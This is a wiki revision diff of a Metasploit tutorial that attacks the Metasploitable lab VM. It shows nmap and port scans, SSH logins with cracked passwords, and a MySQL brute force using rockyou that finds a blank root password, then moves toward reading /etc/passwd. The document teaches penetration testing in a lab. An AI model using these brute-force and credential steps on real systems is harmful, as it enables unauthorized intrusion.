MSF: Difference between revisions

From charlesreid1
 
(32 intermediate revisions by the same user not shown)
Line 1: Line 1:
Metasploit framework info: http://docs.kali.org/general-use/starting-metasploit-framework-in-kali
Metasploit framework info: http://docs.kali.org/general-use/starting-metasploit-framework-in-kali
Also see [[Metasploitable]] for Metasploit in action!


=Basics=
=Basics=
Fire up metasploit:
<pre>
$ msfconsole
</pre>
Get some help:
<pre>
msf> ?
</pre>
Use a particular exploit:
<pre>
msf> use some/particular/exploit
</pre>
Show info about how to use the exploit:
<pre>
msf> info
msf> info some/particular/exploit
</pre>
Set your variables:
<pre>
msf> set RHOST 127.0.0.1
</pre>
Run the exploit:
<pre>
msf> run
</pre>
=Not-So-Basics=


==Initializing DB==
==Initializing DB==
Line 50: Line 91:
msf >  
msf >  
</pre>
</pre>
=Ninja=
==How to exploit hosts that aren't available remotely==
Suppose you're not a client trying to exploit a server, but are a server trying to exploit a client.
What can you do?
[[Metasploit/Exploiting_Clients]]
=Advanced=
==Creating Workspace==
You can create a workspace to save scan information:
<pre>
msf > db_status
[*] postgresql connected to msf
msf > workspace
* default
msf > workspace metasploitable
[-] Workspace not found: metasploitable
msf > workspace -a metasploitable
[*] Added workspace: metasploitable
msf > workspace
  default
* metasploitable
msf > workspace -h
Usage:
    workspace                  List workspaces
    workspace [name]          Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -D              Delete all workspaces
    workspace -r <old> <new>  Rename workspace
    workspace -h              Show this help information
msf >
</pre>
==Reloading Workspace==
You can reload a workspace by listing all workspaces, then type <code>workspace [name]</code>. Here, I reload the metasploitable workspace:
<pre>
msf > db_status
[*] postgresql connected to msf
msf > workspace
* default
  metasploitable
msf > workspace metasploitable
[*] Workspace: metasploitable
msf >
</pre>
==Nmap Scan Into Workspace==
Use <code>db_nmap</code> instead of <code>nmap</code> to store info in database:
<pre>
msf > db_nmap -A -O -sS -sV 10.0.0.27
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-26 02:54 PDT
[*] Nmap: Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
[*] Nmap: Nmap done: 1 IP address (0 hosts up) scanned in 1.68 seconds
msf > db_nmap -A -O -sS -sV 10.0.0.27
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-26 02:55 PDT
[*] Nmap: Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
[*] Nmap: Nmap done: 1 IP address (0 hosts up) scanned in 1.67 seconds
msf > db_nmap -A -O -sS -sV 10.0.0.27
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-26 02:55 PDT
[*] Nmap: Nmap scan report for 10.0.0.27
[*] Nmap: Host is up (0.0015s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT    STATE SERVICE    VERSION
[*] Nmap: 21/tcp  open  ftp        vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: 22/tcp  open  ssh        OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |  1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 23/tcp  open  telnet      Linux telnetd
[*] Nmap: 25/tcp  open  smtp        Postfix smtpd
[*] Nmap: |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
[*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
[*] Nmap: | Not valid before: 2010-03-17T14:07:45
[*] Nmap: |_Not valid after:  2010-04-16T14:07:45
[*] Nmap: |_ssl-date: 2016-03-25T23:42:57+00:00; -10h12m30s from scanner time.
[*] Nmap: 53/tcp  open  domain      ISC BIND 9.4.2
[*] Nmap: | dns-nsid:
[*] Nmap: |_  bind.version: 9.4.2
[*] Nmap: 80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
[*] Nmap: |_http-title: Metasploitable2 - Linux
[*] Nmap: 111/tcp  open  rpcbind    2 (RPC #100000)
[*] Nmap: | rpcinfo:
[*] Nmap: |  program version  port/proto  service
[*] Nmap: |  100000  2            111/tcp  rpcbind
[*] Nmap: |  100000  2            111/udp  rpcbind
[*] Nmap: |  100003  2,3,4      2049/tcp  nfs
[*] Nmap: |  100003  2,3,4      2049/udp  nfs
[*] Nmap: |  100005  1,2,3      42714/tcp  mountd
[*] Nmap: |  100005  1,2,3      46675/udp  mountd
[*] Nmap: |  100021  1,3,4      33001/tcp  nlockmgr
[*] Nmap: |  100021  1,3,4      58755/udp  nlockmgr
[*] Nmap: |  100024  1          35518/udp  status
[*] Nmap: |_  100024  1          46140/tcp  status
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp  open  exec        netkit-rsh rexecd
[*] Nmap: 513/tcp  open  login?
[*] Nmap: 514/tcp  open  tcpwrapped
[*] Nmap: 1099/tcp open  java-rmi    Java RMI Registry
[*] Nmap: 1524/tcp open  shell      Metasploitable root shell
[*] Nmap: 2049/tcp open  nfs        2-4 (RPC #100003)
[*] Nmap: 2121/tcp open  ftp        ProFTPD 1.3.1
[*] Nmap: 3306/tcp open  mysql      MySQL 5.0.51a-3ubuntu5
[*] Nmap: | mysql-info:
[*] Nmap: |  Protocol: 53
[*] Nmap: |  Version: .0.51a-3ubuntu5
[*] Nmap: |  Thread ID: 10
[*] Nmap: |  Capabilities flags: 43564
[*] Nmap: |  Some Capabilities: Speaks41ProtocolNew, Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsCompression, ConnectWithDatabase
[*] Nmap: |  Status: Autocommit
[*] Nmap: |_  Salt: [k*.G\v`^63:h~cRR'eM
[*] Nmap: 5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open  vnc        VNC (protocol 3.3)
[*] Nmap: | vnc-info:
[*] Nmap: |  Protocol version: 3.3
[*] Nmap: |  Security types:
[*] Nmap: |_    Unknown security type (33554432)
[*] Nmap: 6000/tcp open  X11        (access denied)
[*] Nmap: 6667/tcp open  irc        Unreal ircd
[*] Nmap: 8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
[*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request
[*] Nmap: 8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: |_http-favicon: Apache Tomcat
[*] Nmap: |_http-server-header: Apache-Coyote/1.1
[*] Nmap: |_http-title: Apache Tomcat/5.5
[*] Nmap: MAC Address: 08:00:27:47:98:AD (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.9 - 2.6.33
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Host script results:
[*] Nmap: |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
[*] Nmap: | smb-os-discovery:
[*] Nmap: |  OS: Unix (Samba 3.0.20-Debian)
[*] Nmap: |  NetBIOS computer name:
[*] Nmap: |  Workgroup: WORKGROUP
[*] Nmap: |_  System time: 2016-03-25T19:42:53-04:00
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT    ADDRESS
[*] Nmap: 1  1.47 ms 10.0.0.27
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 78.16 seconds
</pre>
This information will be imported and parsed accordingly:
<pre>
msf > hosts
Hosts
=====
address    mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------    ---                ----  -------  ---------  -----  -------  ----  --------
10.0.0.27  08:00:27:47:98:ad        Linux              2.6.X  server
msf >
</pre>
==Back Up Workspace==
To back up a workspace, use <code>db_export</code>:
<pre>
msf > db_export -h
dUsage:
    db_export -f <format> [filename]
    Format can be one of: xml, pwdump
[-] No output file was specified
msf > db_export -f xml /root/metasploitable.xml
[*] Starting export of workspace metasploitable to /root/metasploitable.xml [ xml ]...
[*]    >> Starting export of report
[*]    >> Starting export of hosts
[*]    >> Starting export of events
[*]    >> Starting export of services
[*]    >> Starting export of web sites
[*]    >> Starting export of web pages
[*]    >> Starting export of web forms
[*]    >> Starting export of web vulns
[*]    >> Starting export of module details
[*]    >> Finished export of report
[*] Finished export of workspace metasploitable to /root/metasploitable.xml [ xml ]...
msf >
</pre>
==Dealing With Hosts==
The interface for using the hosts information is very powerful. We can use the <code>-c</code> switch to control what columns are shown:
<pre>
msf > hosts -c address,os_name
Hosts
=====
address    os_name
-------    -------
10.0.0.27  Linux
msf >
</pre>
We can also narrow down results (if we have a large number of hosts on a network) by searching for strings:
<pre>
msf > hosts -c address,os_name -S linux
Hosts
=====
address    os_name
-------    -------
10.0.0.27  Linux
msf >
</pre>
==Passing Hosts to RHOST==
If we have loaded a module, like <code>auxiliary/scanner/portscan/tcp</code>, we can use the hosts to define our scan targets with the <code>-R</code> flag when searching. (This can add multiple remote hosts to a scan - handy for long lists of hosts.)
It will also add the output of each scan/each module that is run to the database. Running a TCP scan will identify open ports, and each of those open ports will be added to the workspace/Metasploit database.
<pre>
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  CONCURRENCY  10              yes      The number of concurrent ports to check per host
  PORTS        1-10000          yes      Ports to scan (e.g. 22-25,80,110-900)
  RHOSTS                        yes      The target address range or CIDR identifier
  THREADS      1                yes      The number of concurrent threads
  TIMEOUT      1000            yes      The socket connect timeout in milliseconds
msf auxiliary(tcp) > hosts -c address,os_name -S linux -R
Hosts
=====
address    os_name
-------    -------
10.0.0.27  Linux
RHOSTS => 10.0.0.27
msf auxiliary(tcp) > run
[*] 10.0.0.27:22 - TCP OPEN
[*] 10.0.0.27:23 - TCP OPEN
[*] 10.0.0.27:21 - TCP OPEN
[*] 10.0.0.27:25 - TCP OPEN
[*] 10.0.0.27:53 - TCP OPEN
[*] 10.0.0.27:80 - TCP OPEN
[*] 10.0.0.27:111 - TCP OPEN
[*] 10.0.0.27:139 - TCP OPEN
[*] 10.0.0.27:445 - TCP OPEN
[*] 10.0.0.27:514 - TCP OPEN
[*] 10.0.0.27:513 - TCP OPEN
[*] 10.0.0.27:512 - TCP OPEN
[*] 10.0.0.27:1099 - TCP OPEN
[*] 10.0.0.27:1524 - TCP OPEN
[*] 10.0.0.27:2049 - TCP OPEN
[*] 10.0.0.27:2121 - TCP OPEN
[*] 10.0.0.27:3306 - TCP OPEN
[*] 10.0.0.27:3632 - TCP OPEN
[*] 10.0.0.27:5432 - TCP OPEN
[*] 10.0.0.27:5900 - TCP OPEN
[*] 10.0.0.27:6000 - TCP OPEN
[*] 10.0.0.27:6667 - TCP OPEN
[*] 10.0.0.27:6697 - TCP OPEN
[*] 10.0.0.27:8009 - TCP OPEN
[*] 10.0.0.27:8180 - TCP OPEN
[*] 10.0.0.27:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) >
</pre>
This process will create a deluge of packet traffic between the attacker (morpheus) and the target (metasploitable, 10.0.0.27), as shown by tcpdump:
<pre>
# tcpdump -i eth0
[...]
03:35:33.494539 IP morpheus.38946 > 10.0.0.27.7745: Flags [S], seq 4229817845, win 29200, options [mss 1460,sackOK,TS val 67880356 ecr 0,nop,wscale 10], length 0
03:35:33.494905 IP morpheus.56392 > 10.0.0.27.7746: Flags [S], seq 2209661380, win 29200, options [mss 1460,sackOK,TS val 67880356 ecr 0,nop,wscale 10], length 0
03:35:33.494955 IP 10.0.0.27.7745 > morpheus.38946: Flags [R.], seq 0, ack 4229817846, win 0, length 0
03:35:33.495132 IP 10.0.0.27.7746 > morpheus.56392: Flags [R.], seq 0, ack 2209661381, win 0, length 0
03:35:33.495282 IP morpheus.44735 > 10.0.0.27.7747: Flags [S], seq 1306640419, win 29200, options [mss 1460,sackOK,TS val 67880356 ecr 0,nop,wscale 10], length 0
03:35:33.496069 IP 10.0.0.27.7747 > morpheus.44735: Flags [R.], seq 0, ack 1306640420, win 0, length 0
03:35:33.496090 IP morpheus.42604 > 10.0.0.27.7749: Flags [S], seq 1345082972, win 29200, options [mss 1460,sackOK,TS val 67880356 ecr 0,nop,wscale 10], length 0
03:35:33.496357 IP 10.0.0.27.7749 > morpheus.42604: Flags [R.], seq 0, ack 1345082973, win 0, length 0
03:35:33.708617 IP6 2601:602:8901:d335:bcd1:65ff:fe92:6371.48457 > ff05::c.1900: UDP, length 98
03:35:33.816292 IP6 2601:602:8901:d335:bcd1:65ff:fe92:6371.48457 > ff05::c.1900: UDP, length 98
03:35:33.833652 IP morpheus.46610 > 10.0.0.27.7753: Flags [S], seq 2211519157, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.834214 IP morpheus.52147 > 10.0.0.27.7751: Flags [S], seq 2171151102, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.834335 IP 10.0.0.27.7753 > morpheus.46610: Flags [R.], seq 0, ack 2211519158, win 0, length 0
03:35:33.834502 IP 10.0.0.27.7751 > morpheus.52147: Flags [R.], seq 0, ack 2171151103, win 0, length 0
03:35:33.834831 IP morpheus.43955 > 10.0.0.27.7752: Flags [S], seq 1337658889, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.835315 IP 10.0.0.27.7752 > morpheus.43955: Flags [R.], seq 0, ack 1337658890, win 0, length 0
03:35:33.835404 IP morpheus.48124 > 10.0.0.27.7755: Flags [S], seq 2750644096, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.835964 IP morpheus.41084 > 10.0.0.27.7756: Flags [S], seq 2965282008, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.836016 IP 10.0.0.27.7755 > morpheus.48124: Flags [R.], seq 0, ack 2750644097, win 0, length 0
03:35:33.836268 IP 10.0.0.27.7756 > morpheus.41084: Flags [R.], seq 0, ack 2965282009, win 0, length 0
03:35:33.836544 IP morpheus.53623 > 10.0.0.27.7757: Flags [S], seq 1989216855, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.836835 IP 10.0.0.27.7757 > morpheus.53623: Flags [R.], seq 0, ack 1989216856, win 0, length 0
03:35:33.837113 IP morpheus.34173 > 10.0.0.27.7758: Flags [S], seq 462052512, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.837454 IP 10.0.0.27.7758 > morpheus.34173: Flags [R.], seq 0, ack 462052513, win 0, length 0
03:35:33.837707 IP morpheus.39847 > 10.0.0.27.7759: Flags [S], seq 4103494796, win 29200, options [mss 1460,sackOK,TS val 67880442 ecr 0,nop,wscale 10], length 0
03:35:33.837976 IP 10.0.0.27.7759 > morpheus.39847: Flags [R.], seq 0, ack 4103494797, win 0, length 0
03:35:33.838475 IP morpheus.51488 > 10.0.0.27.7760: Flags [S], seq 3689956999, win 29200, options [mss 1460,sackOK,TS val 67880442 ecr 0,nop,wscale 10], length 0
03:35:33.838757 IP 10.0.0.27.7760 > morpheus.51488: Flags [R.], seq 0, ack 3689957000, win 0, length 0
03:35:33.840901 IP morpheus.37018 > 10.0.0.27.7754: Flags [S], seq 2708295021, win 29200, options [mss 1460,sackOK,TS val 67880442 ecr 0,nop,wscale 10], length 0
03:35:33.841397 IP 10.0.0.27.7754 > morpheus.37018: Flags [R.], seq 0, ack 2708295022, win 0, length 0
03:35:33.926962 IP6 fe80::bcd1:65ff:fe92:6371.48457 > ff02::c.1900: UDP, length 98
03:35:34.034038 IP6 fe80::bcd1:65ff:fe92:6371.48457 > ff02::c.1900: UDP, length 98
03:35:34.149946 IP 10.0.0.1.55203 > 239.255.255.250.1900: UDP, length 104
03:35:34.166687 IP morpheus.59867 > 10.0.0.27.7763: Flags [S], seq 3464606117, win 29200, options [mss 1460,sackOK,TS val 67880524 ecr 0,nop,wscale 10], length 0
03:35:34.167308 IP 10.0.0.27.7763 > morpheus.59867: Flags [R.], seq 0, ack 3464606118, win 0, length 0
</pre>
==Services==
Once we have done an Nmap and TCP scan, we know what services are running and what ports are open.
Show the services that are up with <code>services -u</code>:
<pre>
msf auxiliary(tcp) > services -u
Services
========
host      port  proto  name        state  info
----      ----  -----  ----        -----  ----
10.0.0.27  21    tcp    ftp          open  vsftpd 2.3.4
10.0.0.27  22    tcp    ssh          open  OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
10.0.0.27  23    tcp    telnet      open  Linux telnetd
10.0.0.27  25    tcp    smtp        open  Postfix smtpd
10.0.0.27  53    tcp    domain      open  ISC BIND 9.4.2
10.0.0.27  80    tcp    http        open  Apache httpd 2.2.8 (Ubuntu) DAV/2
10.0.0.27  111  tcp    rpcbind      open  2 RPC #100000
10.0.0.27  139  tcp    netbios-ssn  open  Samba smbd 3.X workgroup: WORKGROUP
10.0.0.27  445  tcp    netbios-ssn  open  Samba smbd 3.X workgroup: WORKGROUP
10.0.0.27  512  tcp    exec        open  netkit-rsh rexecd
10.0.0.27  513  tcp    login        open
10.0.0.27  514  tcp    tcpwrapped  open
10.0.0.27  1099  tcp    java-rmi    open  Java RMI Registry
10.0.0.27  1524  tcp    shell        open  Metasploitable root shell
10.0.0.27  2049  tcp    nfs          open  2-4 RPC #100003
10.0.0.27  2121  tcp    ftp          open  ProFTPD 1.3.1
10.0.0.27  3306  tcp    mysql        open  MySQL 5.0.51a-3ubuntu5
10.0.0.27  3632  tcp                open
10.0.0.27  5432  tcp    postgresql  open  PostgreSQL DB 8.3.0 - 8.3.7
10.0.0.27  5900  tcp    vnc          open  VNC protocol 3.3
10.0.0.27  6000  tcp    x11          open  access denied
10.0.0.27  6667  tcp    irc          open  Unreal ircd
10.0.0.27  6697  tcp                open
10.0.0.27  8009  tcp    ajp13        open  Apache Jserv Protocol v1.3
10.0.0.27  8180  tcp    http        open  Apache Tomcat/Coyote JSP engine 1.1
10.0.0.27  8787  tcp                open
msf auxiliary(tcp) >
</pre>
==Credentials==
Like services, credentials are also accrued in the database.
<pre>
msf > creds
Credentials
===========
host  port  user  pass  type  active?
----  ----  ----  ----  ----  -------
[*] Found 0 credentials.
</pre>
Once you find credentials, you can add them manually. We found credentials for 6 out of 7 users with John the Ripper (see [[Metasploitable/John Shadow File]]):
<pre>
password        (username)
-----------------------------------
postgres        (postgres)
user            (user)
msfadmin        (msfadmin)
service          (service)
batman          (sys)
123456789        (klog)
</pre>
Add them by using the ssh_login module:
<pre>
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options
msf auxiliary(ssh_login) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(ssh_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(ssh_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(ssh_login) > run
[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 1 opened (10.0.0.5:45812 -> 10.0.0.27:22) at 2016-03-26 17:23:11 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) >
</pre>
==More Credentials==
Run each of the other credentials we found. Everything goes ok, up until the last one, username klog
<pre>
msf auxiliary(ssh_login) > set USERNAME user
USERNAME => user
msf auxiliary(ssh_login) > set PASSWORD user
PASSWORD => user
msf auxiliary(ssh_login) > run
[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'user:user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 2 opened (10.0.0.5:50289 -> 10.0.0.27:22) at 2016-03-26 17:25:16 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > set USERNAME postgres
USERNAME => postgres
msf auxiliary(ssh_login) > set PASSWORD postgres
PASSWORD => postgres
msf auxiliary(ssh_login) > run
[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'postgres:postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 3 opened (10.0.0.5:57606 -> 10.0.0.27:22) at 2016-03-26 17:25:25 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > set USERNAME service
USERNAME => service
msf auxiliary(ssh_login) > set PASSWORD service
PASSWORD => service
msf auxiliary(ssh_login) > run
[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'service:service' 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 4 opened (10.0.0.5:52395 -> 10.0.0.27:22) at 2016-03-26 17:25:36 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > set USERNAME sys
USERNAME => sys
msf auxiliary(ssh_login) > set PASSWORD batman
PASSWORD => batman
msf auxiliary(ssh_login) > run
[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'sys:batman' 'uid=3(sys) gid=3(sys) groups=3(sys) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 5 opened (10.0.0.5:34297 -> 10.0.0.27:22) at 2016-03-26 17:25:56 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > set USERNAME klog
USERNAME => klog
msf auxiliary(ssh_login) > set PASSWORD 123456789
PASSWORD => 123456789
msf auxiliary(ssh_login) > run
[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'klog:123456789' 'Could not chdir to home directory /home/klog: No such file or directory Could not chdir to home directory /home/klog: No such file or directory '
[*] Command shell session 6 opened (10.0.0.5:47907 -> 10.0.0.27:22) at 2016-03-26 17:26:08 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 10.0.0.27 - Command shell session 6 closed.  Reason: Died from EOFError
msf auxiliary(ssh_login) >
</pre>
That message tells us that the <code>klog</code> user doesn't have a home directory:
<pre>
[+] 10.0.0.27:22 SSH - Success: 'klog:123456789' 'Could not chdir to home directory /home/klog: No such file or directory Could not chdir to home directory /home/klog: No such file or directory '
</pre>
==Seeing the Creds==
Once you've got some creds:
<pre>
msf auxiliary(ssh_login) > creds
Credentials
===========
host      origin    service      public    private    realm  private_type
----      ------    -------      ------    -------    -----  ------------
10.0.0.27  10.0.0.27  22/tcp (ssh)  msfadmin  msfadmin          Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  user      user              Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  postgres  postgres          Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  service  service          Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  sys      batman            Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  klog      123456789        Password
</pre>
Next step is getting some loot.


=Usage Example: Metasploitable Virtual Box=
=Usage Example: Metasploitable Virtual Box=
Main page for Metasploitable virtual box: [[Metasploitable]]


As an example of how we can use metasploit, we'll be looking at the Metasploitable virtual box.
As an example of how we can use metasploit, we'll be looking at the Metasploitable virtual box.
Line 66: Line 638:
==Recon==
==Recon==


Make a box for stuff:
Let's take a few first steps in Metasploit, using the [[Metasploitable]] virtual box.
 
Make a record-keeping box for stuff:


<pre>
<pre>
Line 221: Line 795:
</pre>
</pre>


This is a very old version of MySQL (5.0.5, the current version is 5.7.11). If we look for mysql exploits in metasploit, we find this one: https://www.offensive-security.com/metasploit-unleashed/scanner-mysql-auxiliary-modules/
We can brute-force MySQL, then use it to access files on the remote machine.


This is a brute-force login exploit for MySQL.  
More info at [[Metasploitable/MySQL]].


<pre>
==Wrapping Up and Moving On==
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options


Module options (auxiliary/scanner/mysql/mysql_login):
After the nmap scan of the Metasploitable virtual box, we saw many services running, exposing this server's soft underbelly.


  Name              Current Setting  Required  Description
We began with MySQL. We were able to use Metasploit to brute-force the MySQL login. This was pretty trivial, since the password was blank.
  ----              ---------------  --------  -----------
  BLANK_PASSWORDS  false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes      How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS      false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASSWORD                          no        A specific password to authenticate with
  PASS_FILE                          no        File containing passwords, one per line
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                            yes      The target address range or CIDR identifier
  RPORT            3306            yes      The target port
  STOP_ON_SUCCESS  false            yes      Stop guessing when a credential works for a host
  THREADS          1                yes      The number of concurrent threads
  USERNAME                          no        A specific username to authenticate as
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE          true            yes      Whether to print output for all attempts


</pre>
Now that we've compromised the MySQL database, we've seen that there are several web services running - two instances of TikiWiki, an instance of Damn Vulnerable Web App, and information from/about owasp. The MySQL database gave us plenty of new attack vectors to dive into.


Note that in order to successfully use this, we'll need some wordlists for username and password combinations.
=Flags=
 
We can illustrate the process using some of the wordlists included with Kali, in <code>/usr/share/wordlists</code>.
 
We'll use the rockyou list:
 
<pre>
$ cd /usr/share/wordlists
$ gunzip rockyou.txt.gz
$ ls -lh rockyou.txt
</pre>


Now that we have rockyou.txt as our wordlist, let's use it as the password file with metasploit.
{{MSFlag}}
 
Here, we set various options for this particular exploit.
 
We set threads to 1000, to make it brute force.
 
We set RHOSTS to the IP address of the metasploitable virtualbox (10.0.0.27).
 
Set the password file to be the rockyou password list.
 
Set the username to "root" - if you're going to brute-force a password, it should probably be the one that can do everything.
 
And make sure and try blank passwords - because you never know.
 
 
<pre>
msf auxiliary(mysql_login) > set THREADS 1000
THREADS => 1000
msf auxiliary(mysql_login) > set RHOSTS 10.0.0.27
RHOST => 10.0.0.27
msf auxiliary(mysql_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf auxiliary(mysql_login) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(mysql_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(mysql_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
</pre>
 
Now run the exploit:
 
<pre>
msf auxiliary(mysql_login) > run
</pre>
 
 
<pre>
msf auxiliary(mysql_login) > run
 
[*] 10.0.0.27:3306 MYSQL - Found remote MySQL version 5.0.51a
[+] 10.0.0.27:3306 MYSQL - Success: 'root:'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >
</pre>
 
Looks like the root user on the database does not have a password. A bit of a lame challenge, but I'll take it!
 
==Exploiting MySQL==
 
Once you have credentials to connect to the MySQL server, you will want to pivot from recon mode to attack mode. This means you'll be using different exploits from metasploit. Whereas the initial exploit was a scanner, the subsequent exploits will be admin exploits.
 
There are two different ways to exploit the MySQL server to obtain system information and database information. These are covered below.
 
==Obtain /etc/passwd from MySQL with Metasploit==
 
The <code>mysql_sql</code> exploit can be used to connect to the remote database and scan the contents of the <code>/etc/passwd</code> file to get a list of users on the system.
 
This is done by executing SQL's <code>load_file()</code> function.
 
We'll be using an <code>auxiliary/admin/</code> exploit in metasploit. This one is <code>auxiliary/admin/mysql/mysql_sql</code>:
 
<pre>
msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql
msf auxiliary(mysql_sql) >
</pre>
 
This one has fewer options:
 
<pre>
